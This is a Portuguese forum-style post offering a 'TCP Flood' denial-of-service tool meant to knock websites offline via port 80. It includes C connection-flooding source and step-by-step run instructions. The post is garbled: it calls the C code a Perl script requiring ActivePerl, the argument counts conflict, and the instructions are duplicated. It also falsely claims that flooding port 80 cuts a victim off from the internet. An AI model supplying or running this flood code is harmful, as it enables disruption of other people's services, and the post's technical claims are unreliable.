Bom gente , vou trazer um simples TCP Flood para Windows , ele é muito simples , porem é bem eficiente para derrubar sites , ele atacara a porta 80 da vitima , impossibilitando ela de acessar a internet , como 80 é a porta principal da internet , você precisara do Active Perl
Download Active Perl : http://www.activestate.com/activeperl
- Abra o bloco de notas , nele cole o seguinte codigo :
- Salve na areá de trabalho como tcpflood.pl , abra o cmd e digite :
cd Desktop
tcpflood.pl ip porta
Pronto , ele ira disparar contra o site na porta 80 , impossibilitando o site de receber novas visitas .
Download Active Perl : http://www.activestate.com/activeperl
- Abra o bloco de notas , nele cole o seguinte codigo :
char ip[16]; //Declara ip
int q,porta,num; // Declara como Inteiros, respectivamente, q, porta e num.
WSADATA data; //Declara data.
SOCKET sock; //Declara o socket a ser usado.
SOCKADDR_IN alvo; //Declara alvo.
int main(int argc,char *argumento[])
{
if(argc <= 3 || argc > 4) //Se estiverem parâmentros faltando.
{
printf("\n Uso: flood <ip> <porta> <loop> \n"); //Imprime modo de uso.
exit(-1); //Sai do programa.
}
strcpy(ip,argumento[1]); //Grava o ip digitado em 'ip'.
porta = atoi(argumento[2]); //Grava porta digitada em 'porta'.
num = atoi(argumento[3]); //Grava número de conexões em 'num'.
WSAStartup(MAKEWORD(1,1),&data); //Inicializa variível.
if((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1) { //Inicializa o socket com protocolo TCP e verifica se NàO teve sucesso.
printf("Erro ao criar o socket.\n"); //Se não houve sucesso, mostra mensagem e sai do programa.
exit(-1);
}
alvo.sin_family = PF_INET; //Configura tipo de protocolo.
alvo.sin_port = htons(porta); // Configura a porta.
alvo.sin_addr.s_addr = inet_addr(ip);//Configura o ip.
if(connect(sock, (sockaddr *)&alvo, sizeof(sockaddr_in)) == SOCKET_ERROR) //Faz com que o socket se conecte e verifica se houve erro ao conectar-se.
{
printf("Erro ao se conectar!"); //Caso sim, exibe a mensagem e sai do programa.
return false;
}
if(num>1) //Se o número de conexões configurados for maior do que 1.
{
printf("\nFloodando ip: %s...",ip);
for(q=0;q<=num -1;q++) //Enquanto o número de conexões não for atingindo.
{
closesocket(sock);//Fecha o socket.
sock = socket(PF_INET, SOCK_STREAM, 0); //Reinicializa o socket.
alvo.sin_family = PF_INET; //Reconfigura tipo de protocolo.
alvo.sin_port = htons(porta); // Reconfigura a porta.
alvo.sin_addr.s_addr = inet_addr(ip);//Reconfigura o ip.
if(connect(sock, (sockaddr *)&alvo, sizeof(sockaddr_in)) == SOCKET_ERROR) //Faz com que o socket se reconecte e verifica se houve erro ao reconectar-se.
{
printf("\nA porta atingiu sua capacidade de conexoes."); //Caso sim, exibe a mensagem e sai do programa.
return false;
}
}
printf("\nFlood concluido!");}
return 0;
}
// by Loko Virtual
- Salve na areá de trabalho como tcpflood.pl , abra o cmd e digite :
cd Desktop
tcpflood.pl ip porta
Pronto , ele ira disparar contra o site na porta 80 , impossibilitando o site de receber novas visitas .